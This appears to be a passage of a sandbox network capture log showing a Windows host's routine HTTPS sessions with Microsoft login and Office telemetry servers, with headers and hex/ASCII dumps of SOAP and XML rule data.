2024-11-01 12:42:43 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	62305	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-01 12:42:44 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-01 12:42:44 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 01 Nov 2024 12:41:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: e1c76d1a-5026-4187-ba40-f1bb6028425b PPServer: PPV: 30 H: SN1PEPF0002F108 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:44 GMT Connection: close Content-Length: 1918
2024-11-01 12:42:44 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	62306	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-01 12:42:45 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-01 12:42:46 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 01 Nov 2024 12:41:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C546_BAY x-ms-request-id: 9728bf3c-ce8e-4679-9002-0f22756e4217 PPServer: PPV: 30 H: PH1PEPF00011F56 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:46 GMT Connection: close Content-Length: 11412
2024-11-01 12:42:46 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	62307	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-01 12:42:47 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-01 12:42:48 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 01 Nov 2024 12:41:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C546_BAY x-ms-request-id: 638f307d-0b6c-45cf-a64e-022a1565a97f PPServer: PPV: 30 H: PH1PEPF00011F53 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 01 Nov 2024 12:42:47 GMT Connection: close Content-Length: 11412
2024-11-01 12:42:48 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	62309	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:58 UTC	492	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 01 Nov 2024 06:15:12 GMT ETag: "0x8DCFA3C8B31D3C9" x-ms-request-id: b82d4cd6-601e-00ab-7849-2c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124257Z-159b85dff8flhtkwhC1DFWeu9n000000012g000000000w5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:42:58 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
